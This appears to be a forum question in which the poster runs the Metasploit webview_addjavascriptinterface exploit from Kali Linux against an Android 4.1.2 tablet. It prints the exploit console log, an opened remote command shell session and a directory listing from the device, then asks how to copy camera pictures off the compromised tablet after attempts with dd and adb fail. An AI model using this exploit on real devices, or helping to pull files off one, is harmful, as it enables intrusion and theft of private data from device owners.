[Q] Using webview_addjavscriptinterface

Hi,

I use KALI Linux and an Android 4.1.2 Tablet for my test. I want to install an App like this:
drops.wooyun.org/papers/548

At Kali Linux i use the exploit webview_addjavascriptinterface and get a response from my tablet (same WLAN).
msf exploit(webview_addjavascriptinterface) > [*] 192.168.178.23 webview_addjavascriptinterface - Gathering target information.
[*] 192.168.178.23 webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.178.23 webview_addjavascriptinterface - Serving exploit HTML
[*] Command shell session 1 opened (192.168.178.39:35534 -> 192.168.178.23:8080) at 2014-05-16 11:27:41 +0000

msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...
export PATH=/system/bin:$PATH
ls -al
drwxr-xr-x root root 2014-05-15 16:56 acct
-rw-r--r-- root root 332 2014-05-15 16:56 boot.txt
drwxrwx--x system cache 2014-05-10 09:22 cache
dr-x------ root root 2014-05-15 16:56 config
lrwxrwxrwx root root 2014-05-15 16:56 d -> /sys/kernel/debug
drwxrwx--x system system 2014-05-12 09:41 data
-rw-r--r-- root root 129 2014-05-15 16:56 default.prop
drwxr-xr-x root root 2014-05-15 17:12 dev
drwxr-xr-x radio radio 2014-05-09 13:55 efs
lrwxrwxrwx root root 2014-05-15 16:56 emmc -> /storage/sdcard1
lrwxrwxrwx root root 2014-05-15 16:56 etc -> /system/etc
-rwxr-x--- root root 105292 2014-05-15 16:56 init
-rwxr-x--- root root 1107 2014-05-15 16:56 init.cm.rc
-rwxr-x--- root root 2344 2014-05-15 16:56 init.goldfish.rc
-rwxr-x--- root root 5171 2014-05-15 16:56 init.p1-common.rc
-rwxr-x--- root root 5389 2014-05-15 16:56 init.p1.rc
-rwxr-x--- root root 936 2014-05-15 16:56 init.p1.usb.rc
-rwxr-x--- root root 17862 2014-05-15 16:56 init.rc
-rwxr-x--- root root 1637 2014-05-15 16:56 init.trace.rc
-rwxr-x--- root root 3915 2014-05-15 16:56 init.usb.rc
-rw-r--r-- root root 1664 2014-05-15 16:56 lpm.rc
drwxrwxr-x root system 2014-05-15 16:56 mnt
dr-xr-xr-x root root 1970-01-01 00:00 proc
drwxr-xr-x root root 2014-05-09 13:55 radio
drwxr-x--- root root 2014-05-15 16:56 sbin
lrwxrwxrwx root root 2014-05-15 16:56 sdcard -> /storage/sdcard0
d---r-x--- system sdcard_r 2014-05-15 16:56 storage
drwxr-xr-x root root 2014-05-15 16:56 sys
drwxr-xr-x root root 2014-05-09 13:56 system
-rw-r--r-- root root 272 2014-05-15 16:56 ueventd.goldfish.rc
-rw-r--r-- root root 2035 2014-05-15 16:56 ueventd.p1.rc
-rw-r--r-- root root 5075 2014-05-15 16:56 ueventd.rc
lrwxrwxrwx root root 2014-05-15 16:56 vendor -> /system/vendor

I want to copy some pictures to my KALI system but there is the problem:
dd if=/sdcard/DCIM/Camera of=/dev/sdc bs=1M
/dev/sdc: cannot open for write: Permission denied

Or i want to run adb (no device!)
adb devices
* daemon not running. starting it now on port 5038 *
* daemon started successfully *
List of devices attached

Can someone help or explain me how to do this?

Best regards